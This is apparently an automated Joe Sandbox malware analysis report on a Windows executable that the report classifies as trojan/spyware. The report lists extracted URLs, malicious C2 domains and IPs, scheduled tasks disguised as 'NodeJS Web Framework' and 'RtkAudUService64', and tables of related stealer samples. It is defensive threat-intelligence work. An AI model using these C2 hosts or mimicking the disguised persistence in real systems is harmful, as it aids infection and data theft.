https://steamcommunity.com/profiles/76561198043764602	explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
https://store.steampowered.com/responsive_page_content_overlayhttps://store.steampowered.com/Link	explorer.exe, 0000000D.00000002.4566230311.00000000060AD000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199047877636/badges/13	explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mystart.incredimail.com/portuguese/	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.softelvdm.com/cgibin/store/checkupdate.cgi	ImApp.exe, 00000007.00000002.3529061747.000000000219B000.00000004.00000001.01000000.00000011.sdmp, ImApp.exe, 00000008.00000002.3743964211.000000000219B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000B.00000002.3966244073.000000000224B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000C.00000002.4140491818.000000000219B000.00000004.00000001.01000000.0000001F.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	b6FArHy7yA.exe, 00000000.00000003.2511303093.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=G3UTKgHH4xLD&l=english&	explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000005.00000002.4566667131.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipdajemua0.shop/	b6FArHy7yA.exe, 00000000.00000003.2773133434.00000000006A3000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2776267012.00000000006A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/https://store.steampowered.com/points/shop/https://store.stea	explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=bpFp7zU77IKn&l=en	explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.youtube.com/	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=EZbG2DEumYDH&l=engli	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/app/39210	explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mystart.incredimail.com/russian/?search=	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=engli	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	explorer.exe, 0000000D.00000002.4566230311.00000000060D2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/app/39210https://steamcommunity.com/app/39210commentthread_Profile_765611	explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=3W_ge11SZngF&l=english&_c	explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.incredimail.com/?id=611853	ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://c3.digital-odyssey.shop/apiM	b6FArHy7yA.exe, 00000000.00000003.2631212950.00000000006C0000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2643673826.00000000006C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.incredimail.com/?id=611852	ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	explorer.exe, 0000000D.00000002.4566230311.00000000060B8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.incredimail.com/?id=611857	ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://www8.incredimail.com/report_crash.asp	ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedbackhttps://avatars	explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.incredimail.com/?id=611856	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199047877636	explorer.exe, 0000000D.00000002.4566230311.00000000060CA000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	explorer.exe, 0000000D.00000002.4566230311.0000000006045000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561198257089751	explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&amp	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	explorer.exe, 0000000D.00000002.4566230311.00000000060B8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mystart.incredimail.com/portuguese/?search=	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb.jpg	explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000615C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mystart.incredimail.com/?loc=ff_address_bar_fs&search=CImFireFoxBrowser::SetFullSetupBrowserA	ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199047877636/badges/Years	explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.incredimail.com/?id=611221	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://www.incredimail.com/?id=611220	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://mystart.incredimail.com/french/	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=INiZALwvDIbb	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/%	explorer.exe, 0000000D.00000002.4566230311.00000000060AD000.00000004.00001000.00020000.00000000.sdmp	false		high
https://c3.digital-odyssey.shop/api)0	b6FArHy7yA.exe, 00000000.00000003.2376276964.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=3W_ge11SZngF&l=englis	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	explorer.exe, 0000000D.00000002.4568603004.0000000006178000.00000004.00001000.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199047877636/friends/	explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4569181797.0000000006228000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mystart.incredimail.com/schinese/?search=	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://mystart.incredimail.com/dutch/?search=	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://mystart.incredimail.com/german/?search=	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199047877636/games/	explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4569181797.0000000006228000.00000004.00001000.00020000.00000000.sdmp	false		high
http://incredimail.com	ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://mystart.incredimail.com/schinese/	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://broadcast.st.dl.eccdnx.com	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	powershell.exe, 00000005.00000002.4574419637.00000000085AA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571546220.0000000007390000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524503185.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImLookExU.dll.7.dr, wlessfp1.dll.5.dr, ImNtUtilU.dll.5.dr	false		high
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mystart.incredimail.com/french/?search=	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://c3.digital-odyssey.shop/	b6FArHy7yA.exe, 00000000.00000002.2775773721.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	explorer.exe, 0000000D.00000002.4566230311.00000000060B4000.00000004.00001000.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=l1VAyDrxeeyo&l=en	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	false		high
http://a9.com/-/spec/opensearch/1.1/	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=iGFW_JMULCcZ&l=en	explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
180.163.242.102	360.net	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
217.144.184.19	unknown	Russian Federation	16230	SKYNET-ASSkynetLTDEkaterinburgRussiaRU	true
104.21.8.82	c3.digital-odyssey.shop	United States	13335	CLOUDFLARENETUS	true
103.235.47.188	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
104.121.10.34	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.21.71.43	klipdajemua0.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569162
Start date and time:	2024-12-05 15:02:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	b6FArHy7yA.exe renamed because original name is a hash value
Original Sample Name:	ae194517d632d9e0644984547d2f6f86c563350eccc501e97b1452a4f4bc089b.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@15/45@8/6
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 17 Number of non-executed functions: 399
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target ImApp.exe, PID 6068 because there are no executed function
Execution Graph export aborted for target b6FArHy7yA.exe, PID 6936 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: b6FArHy7yA.exe

Simulations

Behavior and APIs

Time	Type	Description
09:03:15	API Interceptor	9x Sleep call for process: b6FArHy7yA.exe modified
09:04:03	API Interceptor	5372475x Sleep call for process: powershell.exe modified
09:05:38	API Interceptor	1x Sleep call for process: ImApp.exe modified
15:05:43	Task Scheduler	Run new task: NodeJS Web Framework path: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
15:05:43	Task Scheduler	Run new task: RtkAudUService64 path: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
217.144.184.19	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse
217.144.184.19	Setup.exe	Get hash	malicious	LummaC	Browse
103.235.47.188	VIP-#U4f1a#U5458#U7248.exe	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	Iifpj4i2kC.exe	Get hash	malicious	FormBook	Browse	www.zruypj169g.top/md02/?oHH8=VZUPDXU8mXkToFn&0PG4QdD=KBMih/6UmjMCLIvQj8A+JVJ0ZduXlvkac/jrKRN7UGcA2YCWIWeuvW479UURmW6VwJBRFqK2PA==
	3.exe	Get hash	malicious	BlackMoon, XRed	Browse	www.baidu.com/
	CZyOWoN2hiszA6d.exe	Get hash	malicious	FormBook	Browse	www.vicmvm649n.top/v15n/?Yn=UsBn8mn1PUl4czyMQZxenuqc6dPBc+Q3khu6MN2NNQj7YA4ug5lWpId+R/K0fD87Hm6v&mv=Y4QppplhSjwxWBd
	f2.exe	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	f1.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	SecuriteInfo.com.FileRepMalware.29184.31872.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	LisectAVT_2403002A_489.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	www.baidu.com/
104.121.10.34	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	fukjsefsdfh.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	nthnaedltg.exe	Get hash	malicious	Stealc, Vidar	Browse
	lyjdfjthawd.exe	Get hash	malicious	Stealc, Vidar	Browse
	fsyjawdr.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.360.net	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse	180.163.246.86
steamcommunity.com	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	fukjsefsdfh.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
360.net	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse	180.163.246.86
	wh2JzrnksH	Get hash	malicious	Unknown	Browse	180.163.246.86
	MCYq2AqNU0.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse	218.213.216.154
	xqz8sQ4mZB.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	218.213.216.3
	https://iop360.net/jsg2n	Get hash	malicious	Unknown	Browse	92.255.57.104
	Drawing & Company Profile.exe	Get hash	malicious	FormBook	Browse	156.239.201.69
	REQUIREMENT.exe	Get hash	malicious	GuLoader FormBook	Browse	156.239.224.4
	c0dda7a83d4cc964b37957b563b1b6ff6fd64256.smile.exe	Get hash	malicious	Raccoon	Browse	70.32.20.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKYNET-ASSkynetLTDEkaterinburgRussiaRU	cli.exe	Get hash	malicious	Unknown	Browse	217.144.189.241
	x86_64.elf	Get hash	malicious	Mirai	Browse	217.144.176.35
	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	217.144.184.19
	Setup.exe	Get hash	malicious	LummaC	Browse	217.144.184.19
	http://sycuan.com/	Get hash	malicious	Unknown	Browse	217.144.191.125
	https://cganet.com/	Get hash	malicious	Unknown	Browse	217.144.191.125
	http://keystone-law.com	Get hash	malicious	Unknown	Browse	217.144.191.125
	https://tmsm.krtra.com/c/R2QnECLcaUYf/mYo0	Get hash	malicious	Unknown	Browse	217.144.191.125
	http://mir-belting.com	Get hash	malicious	Unknown	Browse	217.144.191.125
	https://terios.shop/	Get hash	malicious	Unknown	Browse	46.226.164.145
BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	VIP-#U4f1a#U5458#U7248.exe	Get hash	malicious	BlackMoon	Browse	103.235.46.96
	360safe.exe	Get hash	malicious	Unknown	Browse	103.235.47.188
	XiaobingOnekey.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	arm7.elf	Get hash	malicious	Mirai	Browse	106.13.224.235
	splarm.elf	Get hash	malicious	Unknown	Browse	180.76.142.163
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	45.113.194.85
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	106.13.166.147
	DNF#U604b#U62180224a.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	http://profdentalcare.com	Get hash	malicious	Unknown	Browse	103.235.46.96
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	106.12.5.224
CHINANET-SH-APChinaTelecomGroupCN	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	101.92.157.14
	mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	101.88.85.55
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	180.172.113.146
	teste.ppc.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	116.226.231.75
	spc.elf	Get hash	malicious	Mirai	Browse	101.82.178.101
	mips.elf	Get hash	malicious	Mirai	Browse	101.80.226.5
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	116.239.13.140
	xd.x86.elf	Get hash	malicious	Mirai	Browse	101.84.182.15
	xd.arm.elf	Get hash	malicious	Mirai	Browse	180.164.76.165
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	101.83.13.149
CLOUDFLARENETUS	#U25b6#Ufe0fPlayVoiceMessage9312.eml	Get hash	malicious	Unknown	Browse	104.17.25.14
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse	104.18.37.193
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.43.156
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	http://accounts.benefitt.best	Get hash	malicious	Unknown	Browse	104.21.95.6
	https://receptive-comfortable-paw.glitch.me/	Get hash	malicious	Unknown	Browse	172.66.46.218
	https://accounts.benefitt.best/representaton.aspx?sets=LTxWNUY5RiVSMCYtRDlSWU04MCAg	Get hash	malicious	Unknown	Browse	104.21.95.6
	Tax_Report_2024.pdf.exe	Get hash	malicious	Metasploit	Browse	104.21.52.148
	https://app.peony.ink/view/902b02a8-11f0-4e28-89b1-5318035c10eb	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	172.67.197.31
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	104.21.67.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	103.235.47.188 180.163.242.102 104.21.71.43
	iGxCM2I5u9.exe	Get hash	malicious	Flesh Stealer	Browse	103.235.47.188 180.163.242.102 104.21.71.43
	z21nfe_20231205_001.vbs	Get hash	malicious	Unknown	Browse	103.235.47.188 180.163.242.102 104.21.71.43
	7Gt3icFvQW.exe	Get hash	malicious	AgentTesla	Browse	103.235.47.188 180.163.242.102 104.21.71.43
	iGxCM2I5u9.exe	Get hash	malicious	Unknown	Browse	103.235.47.188 180.163.242.102 104.21.71.43
	1AxSwjpyGp.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	103.235.47.188 180.163.242.102 104.21.71.43
